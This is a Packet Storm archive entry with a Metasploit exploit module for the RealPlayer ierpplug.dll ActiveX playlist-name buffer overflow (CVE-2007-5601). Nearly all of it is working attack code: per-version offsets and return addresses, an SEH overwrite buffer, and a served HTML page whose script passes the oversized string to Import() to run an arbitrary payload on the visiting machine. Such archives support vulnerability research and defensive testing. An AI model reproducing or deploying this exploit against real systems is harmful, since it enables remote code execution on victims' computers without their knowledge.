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packetstormMCPACKETSTORM:83043
HistoryNov 26, 2009 - 12:00 a.m.

RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow

2009-11-2600:00:00
MC
packetstormsecurity.com
21

EPSS

0.953

Percentile

99.4%

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in RealOne Player V2 Gold Build 6.0.11.853 and   
RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()"  
method, an attacker may be able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-5601' ],  
[ 'OSVDB', '41430' ],  
[ 'BID', '26130' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'IE / RealOne Player 2 (6.0.11.853)', { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419)  
[ 'IE / RealPlayer 10.5 (6.0.12.1483)', { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934)  
],  
'DisclosureDate' => 'Oct 18 2007',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# Set the exploit buffer  
filler = rand_text_english(target['Offset'])  
seh = generate_seh_payload(target.ret)  
sploit = filler + seh + rand_text_english(30724 - payload.encoded.length)   
  
# [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")]  
# long Import(  
# [in] BSTR file,   
# [in, optional, defaultvalue("")] BSTR playlist,   
# [in, optional, defaultvalue("")] BSTR clipInfo,   
# [in, optional, defaultvalue(0)] long bPlayFile,   
# [in, optional, defaultvalue(0)] long bCopyToMyMusic);  
  
# Build out the message   
content = %Q|  
<html>   
<object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='#{vname}'></object>  
<script language='javascript'>  
var #{vname} = document.getElementById('#{vname}');  
var #{strname} = new String('#{sploit}');  
#{vname}.Import("Firstrun\\\\audio.rm" ,#{strname} ,"" ,0 ,0);  
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`